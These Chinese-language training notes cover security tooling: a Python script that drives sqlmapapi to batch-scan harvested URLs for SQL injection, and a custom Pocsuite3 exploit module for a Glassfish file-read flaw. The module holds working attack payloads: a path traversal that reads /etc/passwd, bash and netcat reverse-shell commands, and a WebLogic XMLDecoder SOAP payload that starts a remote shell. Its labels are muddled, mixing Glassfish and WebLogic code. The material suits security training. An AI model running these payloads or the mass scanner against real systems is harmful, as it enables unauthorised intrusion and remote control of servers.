
Request 爬虫技术,Sqlmap 深入分析,Pocsuite 分析,框架代码二次修改等
目的:
掌握安全工具的 API 接口开发利用,掌握优秀框架的二次开发插件引用等
案例 1-Sqlmap_Tamper 模块脚本编写绕过滤
案例 2-SqlmapAPI 调用实现自动化 SQL 注入安全检测
参考:
https://www.freebuf.com/articles/web/204875.html
应用案例:前期通过信息收集拿到大量的 URL 地址,这个时候可以配合 SqlmapAPI 接口进行批量的 SQL
注入检测(SRC 挖掘)
开发当前项目过程:(利用 sqlmapapi 接口实现批量 URL 注入安全检测)
1.创建新任务记录任务 ID @get(“/task/new”)
2.设置任务 ID 扫描信息 @post(“/option/
3.开始扫描对应 ID 任务 @post(“/scan/
4.读取扫描状态判断结果 @get(“/scan/
5.如果结束删除 ID 并获取结果 @get(“/task/
6.扫描结果查看@get(“/scan/

# 快乐的椰子皮# 王志伟import requestsimport jsonimport timedef sqlmapapi(url):headers = {'Content-Type': 'application/json'}scan_url={'url':url}# 1.创建新任务记录任务idscan_task_url='http://127.0.0.1:8775/task/new'scan_task=requests.get(scan_task_url)#print(scan_task.json())scan_task_id=scan_task.json()['taskid'] #使用json中的[]获取对应的值#print(scan_task_id)# 2.设置任务id的配置信息(扫描信息)if 'success' in scan_task.content.decode('utf-8'):print('sqlmapapi task create success...')scan_task_set_url = 'http://127.0.0.1:8775/option/' + scan_task_id + '/set'scan_task_set = requests.post(scan_task_set_url,data=json.dumps(scan_url),headers=headers)#print(scan_url)#print(scan_task_set.content.decode('utf-8'))# 3.启动扫描对应id的扫描任务if 'success' in scan_task_set.content.decode('utf-8'):print('sqlmapapi taskid set success')scan_start_url='http://127.0.0.1:8775/scan/'+scan_task_id+'/start'scan_start=requests.post(scan_start_url,data=json.dumps(scan_url),headers=headers)#print(scan_start.content.decode('utf-8'))# 4.获取对应id的扫描状态if 'success' in scan_start.content.decode('utf-8'):print('sqlmapapi scan start success')while 1:scan_status_url = 'http://127.0.0.1:8775/scan/' + scan_task_id + '/status'scan_status = requests.get(scan_status_url)#print(scan_status.content.decode('utf-8'))if 'running' in scan_status.content.decode('utf-8'):print(url + '->scan running')passelse:print('sqlmapapi scan end')scan_data_url='http://127.0.0.1:8775/scan/' + scan_task_id + '/data'scan_data=requests.get(scan_data_url).content.decode('utf-8')with open(r'scan_result.txt','a+') as f:f.write(url+'\n')f.write(scan_data+'\n')f.write('==========python sqlmapapi by xiaodi=========='+'\n')f.close()#print('delete taskid')scan_deltask_url = 'http://127.0.0.1:8775/task/' + scan_task_id + '/delete'scan_deltask=requests.get(scan_deltask_url)if 'success' in scan_deltask.content.decode('utf-8'):print('delete taskid success')breaktime.sleep(3)if __name__ == '__main__':print("scanurl checking ok.....")for url in open('url.txt'):url=url.replace('\n','')sqlmapapi(url)
案例 3-Pocsuite3 漏扫框架二次开发 POC/EXP 引入使用
参考:
https://www.freebuf.com/articles/people/162868.html
开发当前项目过程:(利用已知框架增加引入最新或内部的 EXP 进行安全检测)
1.熟悉 Pocsuite3 项目使用及介绍
2.熟悉使用命令及代码文件对应情况
3.选取 Glassfish 漏洞进行编写测试
4.参考自带漏洞模版代码模仿写法测试
python cli.py -u x.x.x.x -r Glassfish.py —verify


自定义的poc:
# 快乐的椰子皮# 王志伟"""If you have issues about development, please read:https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.mdfor more about information, plz visit http://pocsuite.org"""import refrom collections import OrderedDictfrom urllib.parse import urljoinfrom pocsuite3.api import Output, POCBase, register_poc, requests, logger, POC_CATEGORY, OptDict, VUL_TYPEfrom pocsuite3.api import get_listener_ip, get_listener_portfrom pocsuite3.lib.utils import random_strclass DemoPOC(POCBase):vulID = '97009' # ssvidversion = '3.0'author = ['xiaodi'] #改vulDate = '2020-12-22'createDate = '2020-12-22'updateDate = '2020-12-22'references = ['https://www.xiaodi8.com'] #改name = 'Glassfish任意文件读取漏洞' #改appPowerLink = ''appName = 'Glassfish' #改appVersion = '< 10.3.6' #改vulType = VUL_TYPE.CODE_EXECUTIONdesc = '''Glassfish任意文件读取漏洞将导致敏感数据泄露,进一步利用会造成权限丢失等安全隐患!'''samples = []install_requires = ['']category = POC_CATEGORY.EXPLOITS.REMOTEdef _options(self):o = OrderedDict()payload = {"nc": "rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p","bash": "bash -i >& /dev/tcp/{0}/{1} 0>&1",}o["command"] = OptDict(selected="bash", default=payload)return odef get_check_payload(self, lhost, lport, random_uri):check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8" class="java.beans.XMLDecoder"><object id="url" class="java.net.URL"><string>http://{lhost}:{lport}/{random_uri}</string></object><object idref="url"><void id="stream" method = "openStream" /></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'''return check_payload.format(lhost=lhost, lport=lport, random_uri=random_uri)def _verify(self): #改result={}veri_url=self.url #接收url#攻击payloadpayload='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'try:#requests.post(veri_url, data=payload, headers=headers)resp = requests.get(veri_url+payload)print(resp.status_code)#pattern = 'http://{0}(:{1})?/{2}'.format(check_host, check_port, random_uri)if resp.status_code==200:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = veri_urlresult['VerifyInfo']['Payload'] = payloadexcept Exception as e:passreturn self.parse_output(result)def parse_output(self, result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return outputdef _attack(self):return self._verify()def get_shell_payload(self, cmd_base, cmd_opt, cmd_payload):shell_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3" ><void index="0"><string>{cmd_base}</string></void><void index="1"><string>{cmd_opt}</string></void><void index="2"><string>{cmd_payload}</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'''return shell_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt,cmd_payload=cmd_payload)def _shell(self):vul_url = urljoin(self.url, '/wls-wsat/CoordinatorPortType')cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1'.format(get_listener_ip(), get_listener_port())shell_payload = self.get_shell_payload('/bin/bash', '-c', cmd)headers = {"Content-Type": "text/xml;charset=UTF-8","User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"}try:requests.post(vul_url, data=shell_payload, headers=headers)except Exception as e:logger.warn(str(e))def parse_output(self, result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return outputregister_poc(DemoPOC)
